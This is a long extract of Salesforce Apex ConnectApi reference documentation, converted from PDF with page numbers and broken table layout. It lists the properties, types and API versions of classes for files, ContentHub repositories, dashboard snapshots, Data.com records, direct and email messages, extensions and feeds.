fileSize String Size of the file in bytes. If size can’t be determined, 36.0
returns unknown.
fileType String Type of file, such as PDF. 36.0
hasPdfPreview Boolean true if the file has a PDF preview available; false 36.0
otherwise.
id String 18-character ID of the content. 36.0
imageDetails ConnectApi. Image details, or null if the file isn’t an image. 40.0
ContentImage
FileDetails
isInMyFileSync Boolean true if the file is synced with Salesforce Files Sync. 36.0
mimeType String MIME type of the file. 36.0
renditionUrl String URL to the rendition resource for the file. For shared 36.0
files, renditions process asynchronously after upload.
For private files, renditions process when the first file
preview is requested, and aren’t available
immediately after the file is uploaded.
renditionUrl String URL to the 240 x 180 pixel rendition resource for the 36.0
240By180 file. For shared files, renditions process
asynchronously after upload. For private files,
renditions process when the first file preview is
requested, and aren’t available immediately after the
file is uploaded.
1659

renditionUrl String URL to the 720 x 480 pixel rendition resource for the 36.0
720By480 file. For shared files, renditions process
asynchronously after upload. For private files,
renditions process when the first file preview is
requested, and aren’t available immediately after the
file is uploaded.
sharingOption ConnectApi. Sharing option of the file. Values are: 36.0

FileSharingOption • Allowed—Resharing of the file is allowed.
• Restricted—Resharing of the file is

restricted.
textPreview String Text preview of the file if available; null otherwise. 36.0
thumb120By90 String Specifies the rendering status of the 120 x 90 preview 36.0
RenditionStatus image of the file. One of these values:
• Processing—Image is being rendered.
• Failed—Rendering process failed.
• Success—Rendering process was successful.
• Na—Rendering is not available for this image.
thumb240By180 String Specifies the rendering status of the 240 x 180 36.0
RenditionStatus preview image of the file. One of these values:
thumb720By480 String Specifies the rendering status of the 720 x 480 36.0
RenditionStatus preview image of the file. One of these values:
versionId String Version ID of the file. 36.0
SEE ALSO:
ConnectApi.FilesCapability
1660
ConnectApi.ContentAttachment Class
Important: This class isn’t available in version 32.0 and later. In version 32.0 and later, ConnectApi.ContentCapability is used.

Objects of this type are returned by attachments in feed items with the type ContentPost.

checkSum String MD5 checksum for the file 28.0–31.0
contentUrl String URL for link files and Google Docs; otherwise the value is null. 31.0–31.0
description String Description of the attachment 28.0–31.0
downloadUrl String File’s URL. This value is null if the content is a link or a Google Doc. 28.0–31.0
fileExtension String File’s extensionConnectApi.UserSummary Class 28.0–31.0
fileSize String Size of the file in bytes. If size cannot be determined, returns 28.0–31.0
unknown.
fileType String Type of file 28.0–31.0
hasImagePreview Boolean true if the file has a preview image available, otherwise ,false 28.0–29.0
hasPdfPreview Boolean true if the file has a PDF preview available, otherwise, false 28.0–31.0
id String Content’s 18-character ID 28.0–31.0
isInMyFileSync Boolean true if the file is synced with Salesforce Files Sync; false otherwise. 28.0–31.0
mimeType String File’s MIME type 28.0–31.0
renditionUrl String URL to the file’s rendition resource 28.0–31.0
renditionUrl String URL to the 240 x 180 rendition resource for the file.For shared files, 30.0–31.0
240By180 renditions process asynchronously after upload. For private files,
renditions process when the first file preview is requested, and aren’t
available immediately after the file is uploaded.
renditionUrl String URL to the 720 x 480 rendition resource for the file.For shared files, 30.0–31.0
720By480 renditions process asynchronously after upload. For private files,
renditions process when the first file preview is requested, and aren’t
available immediately after the file is uploaded.
textPreview String Text preview of the file if available; null otherwise. 30.0–31.0
thumb120By90 String Specifies the rendering status of the 120 x 90 preview image of the 30.0–31.0
RenditionStatus file. One of these values:
1661

title String Title of the file 28.0–31.0
versionId String 18-character ID for this version of the content 28.0–31.0
ConnectApi.ContentCapability
If a comment has this capability, it has a file attachment.
For files attached to a feed post (instead of a comment) in version 36.0 and later, use ConnectApi.FilesCapability.
If content is deleted from a feed element after it’s posted or if the access to the content is changed to private, the ConnectApi.
ContentCapability exists, however most of its properties are null.

contentUrl String URL of the content for links and Google docs. 32.0
description String Description of the attachment. 32.0
downloadUrl String URL to the content. 32.0
fileSize String Size of the file in bytes. If size cannot be determined, 32.0
returns Unknown.
fileType String Type of file. 32.0
hasPdfPreview Boolean true if the file has a PDF preview available, false 32.0
otherwise.
id String 18-character ID of the content. 32.0
1662

isInMyFileSync Boolean true if the file is synced with Salesforce Files Sync; 32.0
false otherwise.
mimeType String MIME type of the file. 32.0
renditionUrl String URL to the rendition resource for the file. Renditions 32.0
are processed asynchronously and may not be
available immediately after the file has been
uploaded.
renditionUrl240By180 String URL to the 240x180 size rendition resource for the 32.0
file. Renditions are processed asynchronously and
may not be available immediately after the file has
been uploaded.
renditionUrl720By480 String URL to the 720x480 size rendition resource for the 32.0
file. Renditions are processed asynchronously and
may not be available immediately after the file has
been uploaded.

• Restricted—Resharing of the file is

restricted.
textPreview String Text preview of the file if available, null otherwise. 32.0
The maximum number of characters is 200.
thumb120By90 String The status of the rendering of the 120x90 pixel sized 32.0
RenditionStatus preview image of the file. Should be either
Processing, Failed, Success, or Na if unavailable.
versionId String Version ID of the file. 32.0
SEE ALSO:
ConnectApi.ContentHubAllowedItemTypeCollection
The item types that the context user is allowed to create in a repository folder.
1663

allowedItemTypes List<ConnectApi. A collection of item types that the context user is 39.0
ContentHub allowed to create in a repository folder.
ItemTypeSummary>
ConnectApi.ContentHubFieldDefinition
A field definition.

displayName String Label or caption of this field. 39.0
isMandatory Boolean Specifies whether this field is mandatory for the item 39.0
type.
maxLength Integer Maximum length of the value of this field. 39.0
name String Name of the field. 39.0
type ConnectApi. Specifies the data type of the value of the field. Values 39.0
ContentHub are:
VariableType • BooleanType
• DateTimeType
• DecimalType
• HtmlType
• IdType
• IntegerType
• StringType
• UriType
• XmlType
SEE ALSO:
ConnectApi.ContentHubItemTypeDetail
ConnectApi.ContentHubItemTypeDetail
The details of an item type associated with a repository folder.
Subclass of ConnectApi.AbstractContentHubItemType

fields List<ConnectApi. A list of fields that the context user is allowed to set 39.0
ContentHub in the metadata of this item type.
FieldDefinition>
1664
ConnectApi.ContentHubItemTypeSummary
The summary of an item type associated with a repository folder.
Subclass of ConnectApi.AbstractContentHubItemType
No additional properties.
SEE ALSO:
ConnectApi.ContentHubAllowedItemTypeCollection
ConnectApi.ContentHubPermissionType
A permission type.

id String Internal ID of the permission type in the repository. 39.0
label String Label as returned by the repository. 39.0
SEE ALSO:
ConnectApi.ExternalFilePermissionInformation
ConnectApi.ContentHubProviderType
The type of repository.

label String Localized label of the provider type. 39.0
type String Provider type. One of these values: 39.0

• ContentHubBox
• ContentHubGDrive
• ContentHubSharepoint
• ContentHubSharepointOffice365
• ContentHubSharepointOneDrive
• SimpleUrl
SEE ALSO:
ConnectApi.ContentHubRepository
A repository.
1665

authentication ConnectApi. Repository authentication information. 40.0
ContentHub
Repository
Authentication
features ConnectApi. Repository features. 39.0

ContentHub
RepositoryFeatures
label String Repository label. 39.0
name String Repository name. 39.0
providerType ConnectApi. Repository provider type. 39.0

ContentHub
ProviderType
rootFolderItemsUrl String URL to the list of items in the repository root folder. 39.0
SEE ALSO:
ConnectApi.ContentHubRepositoryCollection
ConnectApi.ContentHubRepositoryAuthentication
Authentication information for a repository.

authFlowUrl String Depends on the authProtocol. 40.0
• NoAuthentication—null.
• Oauth—URL to start the OAuth flow.
• Password—URL to the authentication settings
for external systems.
authProtocol ConnectApi. Specifies the authentication protocol used for the 40.0
ContentHub repository. Values are:
Authentication • NoAuthentication—Repository doesn’t
Protocol require authentication.
• Oauth—Repository uses OAuth authentication
protocol.
• Password—Repository uses user name and
password authentication protocol.
1666

userHas Boolean Specifies whether the user has credentials or the 40.0
AuthSettings administrator configured the external data source to
use the same set of credentials for every user (true).
Otherwise, false.
SEE ALSO:
ConnectApi.ContentHubRepositoryCollection
A collection of repositories.

currentPageUrl String URL to the current page of repositories. 39.0
nextPageUrl String URL to the next page of repositories. 39.0
previousPageUrl String URL to the previous page of repositories. 39.0
repositories List<ConnectApi. Collection of repositories. 39.0

ContentHub
Repository>
ConnectApi.ContentHubRepositoryFeatures
The features of a repository.

canBrowse Boolean Specifies whether the repository’s folder hierarchy 39.0
can be browsed (true) or not (false).
canSearch Boolean Specifies whether the repository can be searched 39.0

(true) or not (false).
SEE ALSO:
ConnectApi.ContentImageFileDetails
Image file details.

height Integer Image’s height in pixels. 40.0
imageFormat String Image’s format. 40.0
1667

orientation String Image’s EXIF orientation value, if present. 40.0
width Integer Image’s width in pixels. 40.0
SEE ALSO:
ConnectApi.InlineImageSegment
ConnectApi.CurrencyRecordField Class
A record field containing a currency value.
ConnectApi.CustomListAudienceCriteria
The criteria for the custom list type of recommendation audience.
Subclass of ConnectApi.AudienceCriteria.

memberCount Integer Total number of members in the recommendation 36.0
audience.
members ConnectApi. The members of the recommendation audience. 36.0

UserReferencePage
ConnectApi.DashboardComponentAttachment Class
Important: This class isn’t available in version 32.0 and later. In version 32.0 and later, ConnectApi.DashboardComponent
SnapshotCapability is used.
Objects of this type are returned as attachments in feed items with type DashboardSnapshot.

componentId String Component’s 18–character ID 28.0–31.0
componentName String Name of the component. If no name is saved with the component, 28.0–31.0
returns the localized string, “Untitled Component.”
dashboardBodyText String Text displayed next to the actor in the body of a feed item. This is used 28.0–31.0
instead of the default body text. If no text is specified, and there is no
default body text, returns null.
dashboardId String Dashboard’s 18–character ID 28.0–31.0
dashboardName String Name of the dashboard. 28.0–31.0
fullSizeImageUrl String URL of the full-sized dashboard image 28.0–31.0
1668

lastRefreshDate Datetime ISO8601 date string, for example, 2011-02-25T18:24:31.000Z, 28.0–31.0
specifying when this dashboard was last refreshed.
lastRefreshDate String The text of the last refresh date to be displayed, such as, “Last refreshed 28.0–31.0
DisplayText on October 31, 2011.”
runningUser ConnectApi. The user running the dashboard. 28.0–31.0

User
Summary
thumbnailUrl String URL of the thumbnail-sized dashboard image. 28.0–31.0
ConnectApi.DashboardComponentSnapshotCapability
If a feed element has this capability, it has a dashboard component snapshot. A snapshot is a static image of a dashboard component
at a specific point in time.

dashboardComponent ConnectApi. The dashboard component snapshot. 32.0
Snapshot DashboardComponent
Snapshot
SEE ALSO:
ConnectApi.DashboardComponentSnapshot
Represents both dashboard component snapshots and alerts you receive when a dashboard component value crosses a threshold.

componentId String 18-character ID of the dashboard component. 32.0
componentName String The dashboard component name. 32.0
dashboardBodyText String Display this text next to the actor in the feed 32.0
element.Use this text in place of the default body
text.
dashboardId String 18-character ID of the dashboard. 32.0
dashboardName String The name of the dashboard. 32.0
fullSizeImageUrl String The source URL to retrieve the full-size image of a 32.0
snapshot. Access this URL with OAuth credentials.
lastRefreshDate Datetime ISO-8601 formatted date specifying when this 32.0

dashboard component was last refreshed.
1669

lastRefresh String Display text for the last refresh date, for example, “Last 32.0
DateDisplayText Refreshed on October 31, 2013.”
runningUser ConnectApi. The running user of the dashboard at the time the 32.0
UserSummary snapshot was posted. This value may be null. Each
dashboard has a running user, whose security settings
determine which data to display in a dashboard.
thumbnailUrl String The source URL to retrieve the thumbnail image of a 32.0
snapshot. Access this URL with OAuth credentials.
SEE ALSO:
ConnectApi.DashboardComponentSnapshotCapability
ConnectApi.DatacloudCompanies Class
Information about a Data.com company.
All company information is visible for companies that you purchased and own. If you haven’t purchased a company, some of the fields
are hidden. Hidden fields are fully or partially hidden by asterisks “***.”

activeContacts Integer The number of active Data.com contacts who 32.0
work in the company.
address ConnectApi.Address The postal address for the company. This is 32.0
typically a physical address that can include the
city, state, street, and postal code.
annualRevenue Double The amount of money that the company makes 32.0
in one year. Annual revenue is measured in US
dollars.
companyId String A unique numerical identifier for the company. 32.0

This is the Data.com identifier for a company.
description String A brief synopsis of the company that provides 32.0

a general overview of the company and what it
does.
dunsNumber String A randomly generated nine-digit number that’s 32.0

assigned by Dun & Bradstreet (D&B) to identify
unique business establishments.
industry String A description of the type of industry such as 32.0

“Telecommunications,” “Agriculture,” or
“Electronics.”
1670

isInactive Boolean Indicates whether this company is active (true) 32.0
or not (false). Inactive companies have
out-of-date information in Data.com.
isOwned Boolean • True: You or your organization owns this 32.0

company.
• False: Neither you nor your organization
owns this company.
naicsCode String North American Industry Classification System 32.0

(NAICS) codes were created to provide more
details about a business’s service orientation.
The code descriptions are focused on what a
business does.
naicsDescription String A description of the NAICS classification. 32.0
name String The name of the company. 32.0
numberOf Integer The number of employees who are working for 32.0
Employees the company.
ownership String The type of ownership of the company: 32.0
• Public
• Private
• Government
• Other
phoneNumbers ConnectApi.PhoneNumber The list of telephone numbers for the company, 32.0
including the type. Here are some possible types
of telephone numbers.
• Mobile
• Work
• Fax
sic String Standard Industrial Codes (SIC) is a numbering 32.0

convention that indicates what type of service
a business provides. It’s a four-digit value.
sicDescription String A description of the SIC classification. 32.0
site String Company’s site. For example, HQ, Single 32.0

Location, or Branch.
An organization status of the company.
• Branch: a secondary location to a
headquarter location.
1671

• Headquarter: the parent company has
branches or subsidiaries.
• Single Location: a single business with no
subsidiaries or branches.
tickerSymbol String The symbol that uniquely identifies companies 32.0

that are traded on public stock exchanges.
tradeStyle String A legal name under which a company conducts 32.0

business.
updatedDate Datetime The date of the most recent change to this 32.0
company’s information.
website String The standard URL for the company’s home page. 32.0
yearStarted String The year when the company was founded. 32.0
ConnectApi.DatacloudCompanies Class
Lists all companies that were purchased in a specific order, page URLs, and the number of companies in the order.
Property Name Type Description Available

Version
companies ConnectApi.DatacloudCompany A detailed list of companies that were 32.0
part of a single order.
currentPageUrl String The URL for the current page of a list of 32.0
companies.
nextPageUrl String Chatter REST API URL identifying the 32.0

next page, or null if there isn’t a next
page. Check whether this value is null
before getting another page. If a page
doesn’t exist, a
ConnectApi.NotFoundException
error is returned.
previousPageUrl String The URL to the previous page of 32.0

companies that were viewed before the
current page. If this value is null,
there’s no previous page.
total Integer The number of companies in the order. 32.0

You can calculate the number of pages
to display by dividing this number by
your page size. The default page size is
25.
1672
Information about a Data.com contact.
All contact information is visible for contacts that you purchased. If you have not purchased a contact, some of the fields will be hidden.
Hidden fields are fully or partially hidden by asterisks “***.”

address ConnectApi.Address The contact’s business address. 32.0
companyId String A unique numerical identifier for the company where 32.0
the contact works. This is the Data.com identifier for
a company.
companyName String The company name where the contact works. 32.0
contactId String A unique numerical identifier for the contact. This is 32.0
the Data.com identifier for a contact.
department String The department in the company where the contact 32.0
works. Here are some possible departments.
• Engineering
• IT
• Marketing
• Sales
email String The most current business email address for the 32.0
contact.
firstName String The first name of the contact. 32.0
isInactive Boolean Whether this contact is active (true) or not (false). 32.0
Inactive contacts have out-of-date information in
Data.com.
isOwned Boolean Whether this contact is owned (true) or not (false). 32.0
lastName String The last name of the contact. 32.0
level String A human resource label that designates a person’s 32.0

level in the company. Here are some possible levels.
• C-Level
• Director
• Manager
• Staff
phoneNumbers ConnectApi.PhoneNumber Telephone numbers for the contact, which can 32.0
include direct-dial business telephone numbers,
mobile telephone numbers, and business
headquarters telephone numbers. The type of
telephone number is also indicated.
1673

title String The title of the contact, such as CEO or Vice President. 32.0
updatedDate Datetime The date of the most recent change to this contact’s 32.0
information.
SEE ALSO:
ConnectApi.DatacloudContacts
ConnectApi.DatacloudContacts
Lists all contacts that were purchased in the specific order, page URLs, and the number of contacts in the order.

contacts List<ConnectApi. A detailed list of purchased contacts. 32.0
DatacloudContact>
currentPageUrl String URL to the current page of contacts. 32.0
doesn’t exist, a
returned.
previousPageUrl String URL to the previous page of contacts. This value is 32.0
null if there is no previous page.
total Integer Number of contacts that are associated with this 32.0
order. Can be greater than the number of contacts
that are shown on a single page.
ConnectApi.DatacloudOrder Class
Represents a Datacloud order.

entityUrl String URL to a list of contacts or companies that were 32.0
purchased with this order.
id String Unique number that’s used to track your order 32.0

information.
purchaseCount Integer Number of contacts or companies that were 32.0

purchased for this order.
purchaseDate Datetime Purchase date for this order. 32.0
1674

url String GET request URL for this order. 32.0
ConnectApi.DatacloudPurchaseUsage Class
Information about Data.com point usage for monthly and list pool users.

listpoolCreditsAvailable Integer The points or credits that are available in a 32.0
pool of credits for your organization. This
pool of credits can be used by any List Pool
User in your organization.
listpoolCreditsUsed Integer The points or credits that have been used 32.0
from a pool of credits that are used by List
Pool Users to purchase records.
monthlyCreditsAvailable Integer The total credits that are assigned to a 32.0

Monthly User. Unused credits expire at the
end of each month.
monthlyCreditsUsed Integer The credits that are used by a Monthly User 32.0
for the current month.
ConnectApi.DateRecordField Class
A record field containing a date.

dateValue Datetime A date that a machine can read. 29.0
Ignore the trailing 00:00:00.000Z characters.
ConnectApi.DigestJob
Represents a successfully enqueued API digest job request.

period ConnectApi. Specifies the period of time that is included in a 37.0
DigestPeriod Chatter email digest. Values are:
• DailyDigest—The email includes up to the
50 latest posts from the previous day.
• WeeklyDigest—The email includes up to
the 50 latest posts from the previous week.
1675
ConnectApi.DirectMessageCapability
If a feed element has this capability, it’s a direct message.

memberChanges ConnectApi. Member activities of the direct message, with the 40.0
DirectMessage most recent activity first.
MemberActivityPage
members ConnectApi. Members included in the direct message. 39.0

DirectMessage
MemberPage
originalMembers ConnectApi. Original members of the direct message. 40.0

DirectMessage
MemberPage
subject String Subject of the direct message. 39.0
SEE ALSO:
ConnectApi.DirectMessageMemberActivity
Direct message member activity.

activityDate Datetime Direct message member activity date. 40.0
actor ConnectApi. User who changed the direct message membership. 40.0
UserSummary
membersAdded ConnectApi. Members added to the direct message as part of the 40.0
DirectMessage activity.
MemberPage
membersRemoved ConnectApi. Members removed from the direct message as part 40.0
DirectMessage of the activity.
MemberPage
SEE ALSO:
ConnectApi.DirectMessageMemberActivityPage
ConnectApi.DirectMessageMemberActivityPage
A page of direct message member activities.
1676

activities List<ConnectApi. Collection of direct message member activities. 40.0
DirectMessage
MemberActivity>
doesn’t exist, a
returned.
SEE ALSO:
ConnectApi.DirectMessageMemberPage
A collection of direct message members.

currentPageToken String Page token to access the current page of direct 39.0
message members.
currentPageUrl String URL to the current page of direct message members. 39.0
nextPageToken String Page token to access the next page of direct message 39.0
members.
nextPageUrl String URL to the next page of direct message members. 39.0
users List<ConnectApi. Collection of direct message members. 39.0

UserSummary>
SEE ALSO:
ConnectApi.EditCapability
If a feed element or comment has this capability, users who have permission can edit it.
1677

isEditRestricted Boolean Specifies whether editing this feed element or 34.0
comment is restricted. If true, the context user can’t
edit this feed element or comment. If false, the
context user may or may not have permission to edit
this feed element or comment. To determine if the
context user can edit a feed element or comment,
use the
isFeedElementEditableByMe(communityId,
feedElementId) or
isCommentEditableByMe(communityId,
commentId) method.
isEditable String The URL to check if the context user is able to edit 34.0
ByMeUrl this feed element or comment.
lastEditedBy ConnectApi.Actor Who last edited this feed element or comment. 34.0
lastEditedDate Datetime The most recent edit date of this feed element or 34.0
comment.
latestRevision Integer The most recent revision of this feed element or 34.0
comment.
relativeLast String Relative last edited date, for example, “2h ago.” 34.0
EditedDate
SEE ALSO:
ConnectApi.EmailAddress
An email address.

displayName String The display name for the email address. 29.0
emailAddress String The email address. 29.0
relatedRecord ConnectApi. The summary of a related record, for example, a contact or user 36.0
RecordSummary summary.
Class
SEE ALSO:
ConnectApi.EmailMessageCapability
1678
ConnectApi.EmailAttachment
An email attachment in an email message.

attachment ConnectApi. Record summary of the attachment. 36.0
RecordSummary
contentType String Type of attachment. 36.0
fileName String Name of the attachment. 36.0
SEE ALSO:
ConnectApi.EmailMergeFieldInfo
The map for objects and their merge fields.

entityToMerge Map<String, Map for multiple objects and their merge field 39.0
FieldsMap ConnectApi. collections.
EmailMergeField
CollectionInfo>
ConnectApi.EmailMergeFieldCollectionInfo
The merge fields for an object.

mergeFields List<String> List of merge fields for a single object. 39.0
SEE ALSO:
ConnectApi.EmailMergeFieldInfo
ConnectApi.EmailMessage Class
Important: This class isn’t available in version 32.0 and later. In version 32.0 and later, ConnectApi.EmailMessageCapability is
used.
An email message from a case.
1679

Version
direction ConnectApi.Email The direction of the email message. 29.0–31.0
MessageDirection • Inbound—An inbound message (sent by a customer).
Enum
• Outbound—An outbound message (sent to a customer
by a support agent).
emailMessageId String The ID of the email message. 29.0–31.0
subject String The subject of the email message. 29.0–31.0
textBody String The body of the email message. 29.0–31.0
toAddresses List<ConnectApi.EmailAddress> A list of email addresses to send the message to. 29.0–31.0
If a feed element has this capability, it has an email message from a case.

attachments List<ConnectApi. The attachments in the email message. 36.0
EmailAttachment>
bccAddresses List<ConnectApi. The BCC addresses for the email message. 36.0
EmailAddress>
body String The body of the email message. 36.0
ccAddresses List<ConnectApi. The CC addresses for the email message. 36.0

EmailAddress>
direction ConnectApi. The direction of the email message. Values are: 32.0
EmailMessageDirection • Inbound—An inbound message (sent by a
customer).
• Outbound—An outbound message (sent to a
customer by a support agent).
emailMessageId String The ID of the email message. 32.0
fromAddress ConnectApi. The From address for the email message. 36.0
EmailAddress
isRichText Boolean Indicates whether the body of the email message is 36.0
in rich text format.
subject String The subject of the email message. 32.0
1680

textBody String The body of the email message. 32.0–35.0
Important: In version 36.0 and later, use the

body property.
toAddresses List<ConnectApi. The To addresses of the email message. 32.0

EmailAddress>
totalAttachments Integer The total number of attachments in the email 38.0

message.
SEE ALSO:
ConnectApi.Emoji
An emoji.

category String Emoji category. 39.0
shortcut String Emoji shortcut. 39.0
unicodeCharacter String Emoji’s unicode character. 39.0
SEE ALSO:
ConnectApi.EmojiCollection
ConnectApi.EmojiCollection
A collection of emojis.

emojis List<ConnectApi. A collection of emojis. 39.0
Emoji>
SEE ALSO:
ConnectApi.SupportedEmojis
ConnectApi.EnhancedLinkCapability
If a feed element has this capability, it has a link that may contain supplemental information like an icon, a title, and a description.
1681

description String A description with a 500 character limit. 32.0
icon ConnectApi.Icon A icon. 32.0
linkRecordId String A ID associated with the link if the link URL refers to 32.0
a Salesforce record.
linkUrl String A link URL to a detail page if available content can’t 32.0
display inline.
title String A title to a detail page. 32.0
SEE ALSO:
ConnectApi.EntityLabel
An entity's label.

label String Localized singular label of the entity. 40.0
labelPlural String Localized plural label of the entity. 40.0
SEE ALSO:
ConnectApi.RecordSummary Class
ConnectApi.EntityLinkSegment Class

Version
motif ConnectApi.Motif A set of small, medium, and large icons that indicate whether 28.0
Class the entity is a file, group, record, or user. The motif can also
contain the object’s base color.
reference ConnectApi. A reference to the link object if applicable, otherwise, null. 28.0
Reference
ConnectApi.EntityRecommendation Class
Represents a recommendation, including file, group, record, topic, user, and custom recommendations.
Subclass of ConnectApi.AbstractRecommendation Class.
1682

actOnUrl String For user, file, group, topic, and record entity 32.0
types, use this Chatter REST URL with a POST request
to take action on the recommendation.
For ConnectApi.RecommendedObject
entity types, such as custom recommendations,
use the actionUrl property of the
ConnectApi.PlatformAction Class to take action on
the recommendation.
action ConnectApi. Specifies the action to take on a recommendation. 32.0

Recommendation • follow—Follow a file, record, topic, or user.
ActionType
• view—View a file, group, article, record, user,
custom, or static recommendation.
entity ConnectApi.Actor The entity with which the receiver is recommended 32.0
to take action.
ConnectApi.Extension
An extension.

alternative ConnectApi. Alternative representation of the extension. 40.0
Representation Alternative
attachmentId String Attachment ID of the extension. 41.0
extensionId String ID of the extension. 40.0
payload String Payload associated with the extension. 40.0
payloadVersion String Payload version that identifies the structure of the 40.0
payload associated with the extension.
SEE ALSO:
ConnectApi.ExtensionsCapability
ConnectApi.ExtensionDefinition
An extension's definition.

canAccess Boolean Indicates whether users can access the extension 40.0
when it’s associated with a feed element.
1683

canCreate Boolean Indicates whether users can create a feed element 40.0
with the extension in the org.
createdDate Datetime Date when the extension was created. 40.0
description String Description of the extension. 40.0
iconUrl String URL to the icon for the extension. 40.0
id String ID of the extension. 40.0
information List<ConnectApi. Collection of extension information. 40.0

Collection AbstractExtension
Information>
isEnabled Boolean Indicates whether the extension is enabled in 40.0 only

InCommunity communities.
isEnabled Boolean Indicates whether the extension is enabled in the 40.0 only
InLightningPublisher Lightning publisher.
name String Name of the extension. 40.0
position Integer Position in which the extension is displayed in the 41.0

publisher.
SEE ALSO:
ConnectApi.ExtensionDefinitions
ConnectApi.ExtensionDefinitions
A collection of extension definitions.

extension List<ConnectApi. Collection of extension definitions. 40.0

Definitions ExtensionDefinition>
doesn’t exist, a
returned.
1684

total Integer Total number of extensions returned. 40.0
ConnectApi.ExtensionsCapability
If a feed element has this capability, it has one or more extension attachments.

items List<ConnectApi. List of extensions associated with the feed element. 40.0
Extension>
SEE ALSO:
External file permission information.

external List<ConnectApi. Available permission types for the parent folder of 39.0
FilePermission ContentHub the external file, or null for non-external files or
Types PermissionType> when
is false.
external Boolean true if the retrieval of external file information failed 39.0
FilePermissions or if
Failure includeExternalFilePermissionsInfo
is false; false otherwise.
external String Explanation of the failure if a failure occurred and 39.0

FilePermissions includeExternalFilePermissionsInfo
InfoFailureReason is true; null otherwise.
external ConnectApi. Specifies the sharing status for the external file. Values 39.0
FileSharing ContentHub are:
Status ExternalItem • DomainSharing—File is shared with the
SharingType domain.
• PrivateSharing—File is private or shared
only with individuals.
• PublicSharing—File is publicly shared.
Value is null for non-external files or when
is false.
1685

repository List<ConnectApi. Available public groups in the external repository or 39.0
PublicGroups RepositoryGroupSummary> null for non-external files or when
is false.
SEE ALSO:
ConnectApi.AbstractRepositoryFile
ConnectApi.Features Class

Version
activityReminder Boolean Reserved for future use. 37.0
NotificationsEnabled
chatter Boolean Indicates whether Chatter is enabled for an org. 28.0
chatterActivity Boolean Indicates whether the user details include information about Chatter 28.0
activity.
chatterAnswers Boolean Indicates whether Chatter Answers is enabled. 29.0
chatter Boolean Indicates whether the user details include global Chatter activity. 28.0
GlobalInfluence
chatterGroup Boolean Specifies whether Chatter groups can have records associated with them. 30.0
Records
chatterGroup Boolean Specifies whether Chatter records are implicitly shared among group 30.0
RecordSharing members when records are added to groups.
chatter Boolean Indicates whether Chatter messages are enabled for the org. 28.0
Messages
chatterTopics Boolean Indicates whether Chatter topics are enabled. 28.0
communities Boolean Indicates whether Salesforce Communities is enabled. 31.0

Enabled
community Boolean Specifies whether community moderation is enabled. 29.0

Moderation
community Boolean Specifies whether reputation is enabled for communities in the org. 32.0
Reputation
dashboard Boolean Indicates whether the user can post dashboard component snapshots. 28.0
Component
Snapshots
1686

Version
default String ISO code of the default currency. Applicable only when 28.0
Currency multiCurrency is false.
IsoCode
feedPolling Boolean Reserved for future use. 28.0
feedStream Boolean Indicates whether Chatter feed streams are enabled for the org. 39.0
Enabled
files Boolean Indicates whether files can act as resources for Chatter API. 28.0
filesOnComments Boolean Indicates whether files can be attached to comments. 28.0
groupsCanFollow Boolean Reserved for future use. 28.0–29.0
ideas Boolean Indicates whether Ideas is enabled. 29.0
liveAgent String Live Agent host name configured for the org. 41.0
HostName
managedTopics Boolean Indicates access to the community home feed and the managed topic 32.0
Enabled feed.
maxEntity Integer Specifies the maximum number of feed-enabled entities that can be 39.0
Subscriptions subscribed to in a Chatter stream.
PerStream
maxFiles Integer Specifies the maximum number of files that can be added to a feed item. 36.0
PerFeedItem
maxStreams Integer Specifies the maximum number of Chatter streams that a user can have. 39.0
PerPerson
mobile Boolean Reserved for future use. 29.0

Notifications
Enabled
multiCurrency Boolean Indicates whether the user’s org uses multiple currencies (true) or not 28.0
(false). When false, the defaultCurrencyIsoCode
indicates the ISO code of the default currency.
offlineEditEnabled Boolean Specifies whether the offline object permissions are enabled for 37.0
Salesforce1 downloadable app mobile clients.
publisherActions Boolean Indicates whether actions in the publisher are enabled. 28.0
storeData Boolean Indicates whether the Salesforce1 downloadable apps can use secure, 30.0
OnDevices persistent storage on mobile devices to cache data.
Enabled
thanksAllowed Boolean Reserved for future use. 28.0
trendingTopics Boolean Indicates whether trending topics are enabled. 28.0
1687

Version
viralInvites Boolean Indicates whether existing Chatter users can invite people in their 28.0
Allowed company to use Chatter.
wave Boolean Indicates whether Wave is enabled. 36.0
SEE ALSO:
getSettings()
ConnectApi.OrganizationSettings Class
ConnectApi.Feed Class

Version
feedElement String Chatter REST API URL for posting feed elements to this subject. 31.0
PostUrl
feedElements ConnectApi. Page of feed elements for the feed specified in 40.0
FeedElement redirectedFeedType. Otherwise, null.
Page
feedElementsUrl String Chatter REST API URL of feed elements. 31.0
feedItemsUrl String Chatter REST API URL of feed items. 28.0–31.0
isModifedUrl String A Chatter REST API URL with a since request parameter that contains 28.0
an opaque token that describes when the feed was last modified. Returns
null if the feed isn’t a news feed. Use this URL to poll a news feed for
updates.
Important: This feature is available through a Feed Polling pilot

program. This pilot program is closed and not accepting new
participants.
pinnedFeed String URL of pinned feed items. 41.0

ElementsUrl
Note: This release contains a beta version of pinned posts, which
(Beta)
means it’s a high-quality feature with known limitations. Post
pinning isn’t generally available unless or until Salesforce
announces its general availability in documentation or in press
releases or public statements. We can’t guarantee general
availability within any particular time frame or at all. Make your
purchase decisions only on the basis of generally available
products and features. You can provide feedback and suggestions
for pinned posts in the Trailblazer Community.
redirected ConnectApi. Specifies which feed is returned if pageSize is specified. Otherwise, 40.0
FeedType FeedType null.
1688

Version
respectsMute Boolean Indicates whether the feed respects the mute feature. If true, the feed 35.0
shows the ability to mute or unmute each element, depending on the
value of isMutedByMe; null if the mute feature is disabled for the
organization.
ConnectApi.FeedBody Class
Subclass of ConnectApi.AbstractMessageBody Class
SEE ALSO:
ConnectApi.FeedDirectory Class
A directory of feeds and favorites.

Version
favorites List<ConnectApi.Feed A list of feed favorites 30.0
Favorite>
feeds List<ConnectApi.FeedDirectoryItem> A list of feeds 30.0
ConnectApi.FeedDirectoryItem Class
The definition of a feed.

Version
feedElementsUrl String Chatter REST API resource URL for the feed elements.
feedItemsUrl String Chatter REST API resource URL for the feed items of a specific feed. 30.0–31.0
feedType ConnectApi The feed type. One of these values: 30.0

.FeedType • Bookmarks—Contains all feed items saved as bookmarks by the
Enum context user.
• Company—Contains all feed items except feed items of type
TrackedChange. To see the feed item, the user must have sharing
access to its parent.
1689

Version
• DirectMessageModeration—Contains all direct messages
that are flagged for moderation. The Direct Message Moderation
feed is available only to users with Moderate Communities Chatter
Messages permissions.
• DirectMessages—Contains all feed items of the context user’s
direct messages.
• Files—Contains all feed items that contain files posted by people
or groups that the context user follows.
• Filter—Contains the news feed filtered to contain feed items
whose parent is a specified object type.
• Groups—Contains all feed items from all groups the context user
either owns or is a member of.
• Home—Contains all feed items associated with any managed topic
